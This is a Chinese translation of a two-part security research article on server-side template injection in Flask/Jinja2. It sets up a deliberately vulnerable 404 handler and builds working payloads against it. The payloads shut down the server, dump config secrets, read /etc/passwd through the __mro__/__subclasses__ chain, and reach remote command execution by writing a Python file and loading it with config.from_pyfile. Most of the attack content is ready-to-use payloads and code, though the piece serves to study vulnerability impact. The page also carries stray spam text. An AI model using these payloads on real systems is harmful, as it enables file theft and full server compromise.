<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/13683

            Part1: https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/
            Part2: https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/

            Part 1

            如果你從未聽過服務端模板注入(SSTI)攻擊,或者不太了解它是個什么東西的話,建議在繼續瀏覽本文之前可以閱讀一下James Kettle寫的這篇文章

            作為安全從業者,我們都是在幫助企業做一些基于風險的決策。因為風險是影響和屬性的產物,所以我們在不知道一個漏洞的真實影響力的情況下,無法正確地計算出相應的風險值。作為一個經常使用Flask框架的開發者,James的研究促使我去弄清楚,SSTI對基于Flask/Jinja2開發堆棧的應用程序的影響有多大。這篇文章就是我研究的結果。如果你想在深入之前了解更多的背景知識,你可以查看一下Ryan Reid寫的這篇文章,其中提供了在Flask/Jinja2應用中更多有關SSTI的信息。

            0x00 Setup


            為了評估在Flask/Jinja2堆棧中SSTI的影響,讓我們建立一個小小的poc程序,代碼如下。

            #!python
            @app.errorhandler(404)
            def page_not_found(e):
                template = '''{%% extends "layout.html" %%}
            {%% block body %%}
                <div class="center-content error">
                    <h1>Oops! That page doesn't exist.</h1>
                <h3>%s</h3>
                </div>
            {%% endblock %%}
            ''' % (request.url)
                return render_template_string(template), 404
            

            在這段代碼的背后,該開發者覺得為一個小小的404頁面創建一個單獨的模板文件可能會有些愚蠢了,所以他就在404視圖功能當中創建了一個模板字符串。該開發者想要回顯出用戶輸入的錯誤URL;但該開發者選擇使用字符串格式化,來將URL動態地加入到模板字符串中,而不是通過render_template_string函數將URL傳遞進入模板內容當中。感覺相當合理,對不對?這是我見過最糟的了。

            在測試這項功能的時候,我們看到了預期的效果。

            看到這種情況大多數人馬上會想到XSS,他們的想法是正確的。在URL的尾部加上<script>alert(42)</script>就觸發了一個XSS漏洞。

            目標代碼很容易被XSS,但是在James的文章中,他指出XSS很有可是SSTI的一個跡象。現在這種情況就是一個很好的例子。如果我們更加深入一點,在URL的末尾添加上{{ 7+7 }},我們可以看到模板引擎計算了數學表達式,應用程序在響應的時候將其解析成14

            我們現在已經在目標應用程序中發現了SSTI漏洞。

            0x01 Analysis


            由于我們要得到一個可用的exp,下一步就是深入到模板環境當中,通過SSTI漏洞來尋找出可供攻擊者利用的點。我們修改一下poc程序中存在漏洞的預覽功能,如下所示。

            #!python
            @app.errorhandler(404)
            def page_not_found(e):
                template = '''{%% extends "layout.html" %%}
            {%% block body %%}
                <div class="center-content error">
                    <h1>Oops! That page doesn't exist.</h1>
                    <h3>%s</h3>
                </div>
            {%% endblock %%}
            ''' % (request.url)
                return render_template_string(template,
                    dir=dir,
                    help=help,
                    locals=locals,
                ), 404
            

            我們將dir, help,和locals這些內建函數傳入到render_template_string函數中,通過函數調用將其加入到模板環境中,從而使用它們通過漏洞進行內省,來發現模板程序上可利用的點。

            讓我們稍微暫停一下,探討探討文檔中關于模板內容是怎么說的。這里有幾個模板內容中對象的最終來源。

            1. Jinja globals
            2. Flask template globals
            3. 開發者自己添加的對象

            我們最關心的是第1點和第2點,因為它們通常都是默認的設置,在我們發現存在SSTI的任何Flask/Jinja2堆棧程序中都是可用的。第3點是依賴于應用程序的,而且有很多種實現的方式。這篇stackoverflow discussion的討論當中就包含了幾個例子。雖然我們在這篇文章中不會深入地討論第3點,但這也是在代碼審計相關Flask/Jinja2堆棧應用程序源碼時必須要考慮到的。

            為了使用內省繼續研究,我們的方法應當如下。

            1. 閱讀文檔!
            2. 使用dir內省locals對象,在模板內容中尋找一切可用的東西。
            3. 使用dirhelp深入了解所有的對象
            4. 分析任何有趣的Python源代碼(畢竟在堆棧中一切都是開源的)

            0x02 Results


            通過內省request對象我們來進行第一個有趣的探索發現。request對象是一個Flask模板全局變量,代表“當前請求對象(flask.request)”。當你在視圖中訪問request對象時,它包含了你預期想看到的所有信息。在request對象中有一個叫做environ的對象。request.environ是一個字典,其中包含和服務器環境相關的對象。該字典當中有一個shutdown_server的方法,相應的key值為werkzeug.server.shutdown。所以猜猜看我們向服務端注入{{ request.environ['werkzeug.server.shutdown']() }}會發生什么?沒錯,會產生一個及其低級別的拒絕服務。當使用gunicorn運行應用程序時就不會存在這個方法,所以漏洞就有可能受到開發環境的限制。

            我們第二個有趣的發現來自于內省config對象。config對象是一個Flask模板全局變量,代表“當前配置對象(flask.config)”。它是一個類似于字典的對象,其中包含了應用程序所有的配置值。在大多數情況下,會包含數據庫連接字符串,第三方服務憑據,SECRET_KEY之類的敏感信息。注入payload{{ config.items() }}就可以輕松查看這些配置了。

            不要認為在環境變量中存儲這些配置選項就可以抵御這種信息泄露。一旦相關的配置值被框架解析后,config對象就會把它們全部包含進去。

            我們最有趣的發現也來自于內省config對象。雖然config對象是一個類似于字典的對象,但它也是包含若干獨特方法的子類:from_envvarfrom_objectfrom_pyfile,以及root_path。最后讓我們深入進去看看源代碼。以下的代碼是Config對象中的from_object方法,flask/config.py

            #!python
                def from_object(self, obj):
                    """Updates the values from the given object.  An object can be of one
                    of the following two types:    
            
                    -   a string: in this case the object with that name will be imported
                    -   an actual object reference: that object is used directly    
            
                    Objects are usually either modules or classes.    
            
                    Just the uppercase variables in that object are stored in the config.
                    Example usage::    
            
                        app.config.from_object('yourapplication.default_config')
                        from yourapplication import default_config
                        app.config.from_object(default_config)    
            
                    You should not use this function to load the actual configuration but
                    rather configuration defaults.  The actual config should be loaded
                    with :meth:`from_pyfile` and ideally from a location not within the
                    package because the package might be installed system wide.    
            
                    :param obj: an import name or object
                    """
                    if isinstance(obj, string_types):
                        obj = import_string(obj)
                    for key in dir(obj):
                        if key.isupper():
                            self[key] = getattr(obj, key)    
            
                def __repr__(self):
                    return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))
            

            我們可以看到,如果我們將字符串對象傳遞給from_object方法,它會將該字符串傳遞給werkzeug/utils.py模塊的import_string方法,該方法會從路徑中導入名字匹配的任何模塊并將其返回。

            #!python
            def import_string(import_name, silent=False):
                """Imports an object based on a string.  This is useful if you want to
                use import paths as endpoints or something similar.  An import path can
                be specified either in dotted notation (``xml.sax.saxutils.escape``)
                or with a colon as object delimiter (``xml.sax.saxutils:escape``).    
            
                If `silent` is True the return value will be `None` if the import fails.    
            
                :param import_name: the dotted name for the object to import.
                :param silent: if set to `True` import errors are ignored and
                               `None` is returned instead.
                :return: imported object
                """
                # force the import name to automatically convert to strings
                # __import__ is not able to handle unicode strings in the fromlist
                # if the module is a package
                import_name = str(import_name).replace(':', '.')
                try:
                    try:
                        __import__(import_name)
                    except ImportError:
                        if '.' not in import_name:
                            raise
                    else:
                        return sys.modules[import_name]    
            
                    module_name, obj_name = import_name.rsplit('.', 1)
                    try:
                        module = __import__(module_name, None, None, [obj_name])
                    except ImportError:
                        # support importing modules not yet set up by the parent module
                        # (or package for that matter)
                        module = import_string(module_name)    
            
                    try:
                        return getattr(module, obj_name)
                    except AttributeError as e:
                        raise ImportError(e)    
            
                except ImportError as e:
                    if not silent:
                        reraise(
                            ImportStringError,
                            ImportStringError(import_name, e),
                            sys.exc_info()[2])
            

            對于新加載的模塊,from_object方法會將那些變量名全是大寫的屬性添加到config對象中。其中有趣的地方就是,添加到config對象的屬性會保持原有的類型,這意味著通過config對象,我們可以從模板內容中調用添加的函數。為了證明這一點,我們使用SSTI漏洞注入{{ config.items() }},可以看到當前的整個配置選項。

            再注入{{ config.from_object('os') }},這下就會在config對象中添加那些在os庫中變量名全是大寫的屬性。再次注入{{ config.items() }},就可以發現新的配置選項。同樣也需要注意這些配置選項的類型。

            現在通過SSTI漏洞,我們可以調用添加到config對象中的任何可調用對象。下一步就是尋找可導入模塊的相關功能,再加以利用逃逸出模板沙盒。

            以下的腳本復制了from_objectimport_string的功能,并分析整個Python標準庫中可導入的項目。

            #!python
            #!/usr/bin/env python    
            
            from stdlib_list import stdlib_list
            import argparse
            import sys    
            
            def import_string(import_name, silent=True):
                import_name = str(import_name).replace(':', '.')
                try:
                    try:
                        __import__(import_name)
                    except ImportError:
                        if '.' not in import_name:
                            raise
                    else:
                        return sys.modules[import_name]    
            
                    module_name, obj_name = import_name.rsplit('.', 1)
                    try:
                        module = __import__(module_name, None, None, [obj_name])
                    except ImportError:
                        # support importing modules not yet set up by the parent module
                        # (or package for that matter)
                        module = import_string(module_name)    
            
                    try:
                        return getattr(module, obj_name)
                    except AttributeError as e:
                        raise ImportError(e)    
            
                except ImportError as e:
                    if not silent:
                        raise    
            
            class ScanManager(object):    
            
                def __init__(self, version='2.6'):
                    self.libs = stdlib_list(version)    
            
                def from_object(self, obj):
                    obj = import_string(obj)
                    config = {}
                    for key in dir(obj):
                        if key.isupper():
                            config[key] = getattr(obj, key)
                    return config    
            
                def scan_source(self):
                    for lib in self.libs:
                        config = self.from_object(lib)
                        if config:
                            conflen = len(max(config.keys(), key=len))
                            for key in sorted(config.keys()):
                                print('[{0}] {1} => {2}'.format(lib, key.ljust(conflen), repr(config[key])))    
            
            def main():
                # parse arguments
                ap = argparse.ArgumentParser()
                ap.add_argument('version')
                args = ap.parse_args()
                # creat a scanner instance
                sm = ScanManager(args.version)
                print('\n[{module}] {config key} => {config value}\n')
                sm.scan_source()    
            
            # start of main code
            if __name__ == '__main__':
                main()
            

            以下是腳本使用Python 2.7運行后的簡短輸出,其中包括了大多數可導入的有趣項目。

            #!shell
            (venv)macbook-pro:search lanmaster$ ./search.py 2.7    
            
            [{module}] {config key} => {config value}    
            
            ...
            [ctypes] CFUNCTYPE               => <function CFUNCTYPE at 0x10c4dfb90>
            ...
            [ctypes] PYFUNCTYPE              => <function PYFUNCTYPE at 0x10c4dff50>
            ...
            [distutils.archive_util] ARCHIVE_FORMATS => {'gztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'gzip')], "gzip'ed tar-file"), 'ztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'compress')], 'compressed tar file'), 'bztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function make_zipfile at 0x10c5f9de8>, [], 'ZIP file'), 'tar': (<function make_tarball at 0x10c5f9d70>, [('compress', None)], 'uncompressed tar file')}
            ...
            [ftplib] FTP                     => <class ftplib.FTP at 0x10cba7598>
            [ftplib] FTP_TLS                 => <class ftplib.FTP_TLS at 0x10cba7600>
            ...
            [httplib] HTTP                            => <class httplib.HTTP at 0x10b3e96d0>
            [httplib] HTTPS                           => <class httplib.HTTPS at 0x10b3e97a0>
            ...
            [ic] IC => <class ic.IC at 0x10cbf9390>
            ...
            [shutil] _ARCHIVE_FORMATS => {'gztar': (<function _make_tarball at 0x10a860410>, [('compress', 'gzip')], "gzip'ed tar-file"), 'bztar': (<function _make_tarball at 0x10a860410>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function _make_zipfile at 0x10a860500>, [], 'ZIP file'), 'tar': (<function _make_tarball at 0x10a860410>, [('compress', None)], 'uncompressed tar file')}
            ...
            [xml language=".dom.pulldom"][/xml] SAX2DOM                => <class xml.dom.pulldom.SAX2DOM at 0x10d1028d8>
            ...
            [xml language=".etree.ElementTree"][/xml] XML        => <function XML at 0x10d138de8>
            [xml language=".etree.ElementTree"][/xml] XMLID      => <function XMLID at 0x10d13e050>
            ...
            

            在這里,我們對一些有趣的項目使用我們的方法,以期望尋找逃逸模板沙盒的辦法。

            總而言之,我沒能夠從這些項目中找到沙盒逃逸的辦法。但是為了共享研究,下面給出我對其研究的一些附加信息。另外請注意,我沒有窮盡所有的可能性,還是有進一步研究的可能性。

            ftplib

            這里我們有使用ftplib.FTP對象的可能性,可以回連至我們控制的一臺服務器,并且從受影響的服務器上傳文件。我們也可以從一臺服務器上下載文件到受影響的服務器上,并且使用config.from_pyfile方法執行相關內容。對ftplib的文檔和源代碼分析表明,ftplib需要打開文件句柄才能做到以上幾點,因為在模板沙盒中open內建函數是禁止的,似乎并沒有創建文件句柄的方法。

            httplib

            這里我們有使用httplib.HTTP對象的可能性,可以使用文件協議file://來加載本地文件系統上文件的URL。不幸的是,httplib不支持文件協議處理程序。

            xml.etree.ElementTree

            這里我們有使用xml.etree.ElementTree.XML對象的可能型,可以使用用戶自定義的實體從文件系統中加載文件。然而,從這里可以知道,etree不支持用戶自定義的實體。

            xml.dom.pulldom

            雖然xml.etree.ElementTree模塊不支持用戶自定義的實體,但是pulldom模塊支持。然而我們還是受限于xml.dom.pulldom.SAX2DOM類,因為其并沒有通過對象接口加載XML的方法。

            0x03 Conclusion


            雖然我們還沒有發現逃逸模板沙盒的方法,但我們已經在Flask/Jinja2開發堆棧中,確定SSTI漏洞的影響有所進展。我肯定這里有些額外的挖掘工作需要去做,我打算繼續下去,但我也鼓勵其他人進行挖掘和探索。當我在研究中發現有意思的項目的時候,我會在這里更新相關文章。

            Part 2

            最近我寫了一片文章,是關于在使用Flask/Jinja2開發堆棧的應用程序中,探索服務端模板注入攻擊(SSTI)的真實影響。我最初的目標是找到訪問文件或操作系統的方法。雖然我之前是無法做到的,但是借由一些facebook對于第一篇文章的反饋,我已經能夠實現我的目標了。本文就是我進一步研究的結果。

            0x00 The Nudge


            對于最初的那篇文章,Nicolas G發表了如下推文。

            如果你稍微使用一下這個payload,你很快就會發現它是行不通的。其中有好幾個原因,我稍后會解釋一下。然而關鍵問題就在于,這個payload使用了幾個非常重要的內省組件,而在之前的研究中我們將其忽略了:__mro____subclasses__屬性。

            聲明:以下的解釋都是處于一個較高的水平。我并不希望表現得我很了解這些組件的樣子。當我在處理一個語言或框架內部結構中的模糊部分時,大多數情況下我都只是嘗試一下,看它是否會像我預期的那樣做出反應,但我并不全知道結果背后的原因是什么。我仍在學習這些屬性背后的緣由,但我還是想給你一些相關介紹。

            __mro__中的MRO代表方法解析順序,并且在這里定義為,“是一個包含類的元組,而其中的類就是在方法解析的過程中在尋找父類時需要考慮的類”。__mro__屬性以包含類的元組來顯示對象的繼承關系,它的父類,父類的父類,一直向上到object(如果是使用新式類的話)。它是每個對象的元類屬性,但它卻是一個隱藏屬性,因為Python在進行內省時明確地將它從dir的輸出中移除了(見Objects/object.c的第1812行)。

            __subclasses__屬性則在這里被定義為一個方法,“每個新式類保留對其直接子類的一個弱引用列表。此方法返回那些引用還存在的子類”。

            簡而言之,__mro__讓我們到達當前Python環境中的繼承對象樹,而__subclasses__又讓我們回來了。所以對于Flask/Jinja2的SSTI漏洞更好的利用會造成什么影響呢?讓我們以新式的對象開始,例如字符串類型,可以使用__mro__達到繼承樹的頂端object類,然后再使用__subclasses__,可以在Python環境中向下達到每一個新式對象。是的,這就使我們能夠訪問到當前Python環境中加載的每一個類。所以我們該如何利用這個新get的技能?

            0x02 Exploitation


            在這里需要考慮一些事情。Python環境當中將會包括:

            1. 所有Flask應用程序產生的對象
            2. 目標程序自定義的對象

            我們著眼于更普遍的漏洞利用,所以我們想要搭建盡可能接近原生態Flask的測試環境。我們向應用程序中導入的庫和第三方模塊越多,我們攻擊向量的普遍性就越小。我們之前的poc程序很適合用來測試,所以我們就繼續使用它。

            我們將要做的就是,在不修改任何源代碼的情況下尋找一個exp向量。在之前的文章中,我們向漏洞中添加了一些功能來進行內省。但在這里就不再是必須的了。

            我們要做的第一件事就是,選擇一個新式對象,用它來訪問object類。我們簡單地使用'',一個空字符串,對象類型為str。然后我們就可以使用__mro__屬性來訪問對象的父類。將{{ ''.__class__.__mro__ }}作為payload注入到SSTI漏洞點當中。

            可以看到返回了我們之前討論過的元組。因為我們要回退到object類,我們就使用索引2來選擇object類。現在我們到達了object類,我們使用__subclasses__屬性來dump應用程序中使用的所有類。將{{ ''.__class__.__mro__[2].__subclasses__() }}注入到SSTI漏洞點當中。

            正如你所見,這里輸出了很多東西。在我使用的目標程序中,有572個可用的類。這些會讓事情變得棘手,而且也是之前推特當中payload不能運行的原因。要記住,并不是每個應用程序的Python環境都是一樣的。我們的目標就是尋找有用的方法來訪問相關的文件或操作系統。在所有的應用程序當中,不可能都使用類似于用subprocess.Popen這樣不常見的類,換一種情況就有可能無法利用了,就像之前那個推特中的payload一樣,就我發現的而言,在原生態的Flask中這種payload是無法利用的。幸運的是,可用利用原生態Flask的特性來讓我們實現類似的行為。

            如果你梳理了一下之前payload的輸出,你就會發現<type 'file'>這個類。這是一個對文件系統訪問的關鍵點。盡管open是創建file對象后的內建函數,但是file類也能夠實例化文件對象,而且如果我們實例化了一個文件對象,那么我們就可用使用類似于read的方法來讀取相關內容。為了證明這一點,找到file類的索引,在我的環境中<type 'file'>類的索引是40,我們就注入{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

            所以現在我們就證明了,通過Flask/Jinja2中的SSTI進行任意文件讀取是有可能的,但是我們還沒有完全搞定。在這里我的目標是遠程代碼/命令執行。

            在上一篇文章當中提到了好幾種config對象的方法,可以將相關對象加載進入Flask的配置環境中。其中一個方法就是from_pyfile方法。以下的代碼是Config類中的from_pyfile方法,flask/config.py

            #!python
                def from_pyfile(self, filename, silent=False):
                    """Updates the values in the config from a Python file.  This function
                    behaves as if the file was imported as module with the
                    :meth:`from_object` function.    
            
                    :param filename: the filename of the config.  This can either be an
                                     absolute filename or a filename relative to the
                                     root path.
                    :param silent: set to `True` if you want silent failure for missing
                                   files.    
            
                    .. versionadded:: 0.7
                       `silent` parameter.
                    """
                    filename = os.path.join(self.root_path, filename)
                    d = imp.new_module('config')
                    d.__file__ = filename
                    try:
                        with open(filename) as config_file:
                            exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
                    except IOError as e:
                        if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                            return False
                        e.strerror = 'Unable to load configuration file (%s)' % e.strerror
                        raise
                    self.from_object(d)
                    return True
            

            這里有一對有意思的東西。最明顯的就是將一個文件的路徑作為參數傳遞進去,并且針對文件中的內容使用compile函數。如果我們能向操作系統中寫文件的話那事情就變得簡單了,不是嗎?嗯,正如我們剛才討論過的,我們可以做到!我們可以使用之前提到的file類不僅去讀文件,而且也可以向目標服務器的可寫入路徑中寫文件。然后我們再通過SSTI漏洞調用from_pyfile方法去compile文件并執行其中的內容。這就是一個二次進攻。首先,將{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('<malicious code here>'') }}注入到SSTI漏洞點。然后在通過注入{{ config.from_pyfile('/tmp/owned.cfg') }}調用編譯過程。該代碼在編譯時將會被執行。這就實現了遠程代碼執行。

            讓我來更深入地研究一下。雖然執行代碼已經足夠了,但是我們為了執行每個代碼塊必須經過多個步驟,這些過程是很乏味的。讓我們充分地利用from_pyfile方法來達到我們預期的目的,并且向config對象中添加一些有用的東西。將{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}注入到SSTI漏洞點。這就會在遠程服務器上寫一個文件,當其被編譯的時候,就可以從subprocess模塊中導入check_output方法,并將其設置成一個名為RUNCMD變量。如果你回憶一下之前的文章,你就會知道因為RUNCMD為一個大寫的變量名,就可以被添加到Flaskconfig對象中。

            注入{{ config.from_pyfile('/tmp/owned.cfg') }}來將新的項目添加到config對象中。注意以下兩幅圖一前一后的差異。

            現在我們就可以調用新的配置選項來執行遠程命令了。可以將{{ config['RUNCMD']('/usr/bin/id',shell=True) }}注入到SSTI漏洞點來進行證明。

            遠程代碼成功執行。

            0x02 Conclusion


            現在,我們可以進行Flask/Jinja2模板沙盒逃逸了,并且可以得出結論:SSTI在Flask/Jinja2環境中的影響是巨大的。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线